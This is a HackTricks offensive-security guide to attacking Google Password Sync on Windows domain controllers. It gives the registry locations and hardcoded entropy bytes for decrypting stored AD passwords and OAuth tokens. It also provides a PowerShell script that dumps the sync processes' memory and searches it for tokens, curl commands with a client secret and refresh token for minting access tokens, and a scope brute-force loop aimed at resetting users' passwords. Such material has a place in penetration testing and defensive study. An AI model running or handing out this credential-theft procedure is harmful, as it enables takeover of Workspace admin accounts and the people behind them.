GPS - Google Password Sync
Reading time: 7 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
This is the binary and service that Google offers in order to keep synchronized the passwords of the users between the AD and Workspace. Every-time a user changes his password in the AD, it's set to Google.
It gets installed in C:\Program Files\Google\Password Sync
where you can find the binary PasswordSync.exe
to configure it and password_sync_service.exe
(the service that will continue running).
GPS - Configuration
To configure this binary (and service), it's needed to give it access to a Super Admin principal in Workspace:
- Login via OAuth with Google and then it'll store a token in the registry (encrypted)
- Only available in Domain Controllers with GUI
- Giving some Service Account credentials from GCP (json file) with permissions to manage the Workspace users
- Very bad idea as those credentials never expired and could be misused
- Very bad idea give a SA access over workspace as the SA could get compromised in GCP and it'll possible to pivot to Workspace
- Google require it for domain controlled without GUI
- These creds are also stored in the registry
Regarding AD, it's possible to indicate it to use the current applications context, anonymous or some specific credentials. If the credentials option is selected, the username is stored inside a file in the disk and the password is encrypted and stored in the registry.
GPS - Dumping password and token from disk
tip
Note that Winpeas is capable to detect GPS, get information about the configuration and even decrypt the password and token.
In the file C:\ProgramData\Google\Google Apps Password Sync\config.xml
it's possible to find part of the configuration like the baseDN
of the AD configured and the username
whose credentials are being used.
In the registry HKLM\Software\Google\Google Apps Password Sync
it's possible to find the encrypted refresh token and the encrypted password for the AD user (if any). Moreover, if instead of an token, some SA credentials are used, it's also possible to find those encrypted in that registry address. The values inside this registry are only accessible by Administrators.
The encrypted password (if any) is inside the key ADPassword
and is encrypted using CryptProtectData
API. To decrypt it, you need to be the same user as the one that configured the password sync and use this entropy when using the CryptUnprotectData
: byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };
The encrypted token (if any) is inside the key AuthToken
and is encrypted using CryptProtecData
API. To decrypt it, you need to be the same user as the one that configured the password sync and use this entropy when using the CryptUnprotectData
: byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };
Moreover, it's also encoded using base32hex with the dictionary 0123456789abcdefghijklmnopqrstv
.
The entropy values were found by using the tool . It was configured to monitor the calls to CryptUnprotectData
and CryptProtectData
and then the tool was used to launch and monitor PasswordSync.exe
which will decrypt the configured password and auth token at the beginning and the tool will show the values for the entropy used in both cases:
Note that it's also possible to see the decrypted values in the input or output of the calls to these APIs also (in case at some point Winpeas stop working).
In case the Password Sync was configured with SA credentials, it will also be stored in keys inside the registry HKLM\Software\Google\Google Apps Password Sync
.
GPS - Dumping tokens from memory
Just like with GCPW, it's possible to dump the memory of the process of the PasswordSync.exe
and the password_sync_service.exe
processes and you will be able to find refresh and access tokens (if they have been generated already).
I guess you could also find the AD configured credentials.
Dump PasswordSync.exe
and the password_sync_service.exe
processes and search tokens
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Show EULA if it wasn't accepted yet for strings
$stringsPath
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$processNames = @("PasswordSync", "password_sync_service")
$chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
GPS - Generating access tokens from refresh tokens
Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token
GPS - Scopes
note
Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the scopes supported by the application where you are generating the access token.
Also, the refresh token is not valid in every application.
By default GPS won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the refresh_token
to generate an access_token
:
Bash script to brute-force scopes
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done
echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
And this is the output I got at the time of the writing:
https://www.googleapis.com/auth/admin.directory.user
Which is the same one you get if you don't indicate any scope.
caution
With this scope you could modify the password of a existing user to escalate privileges.
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.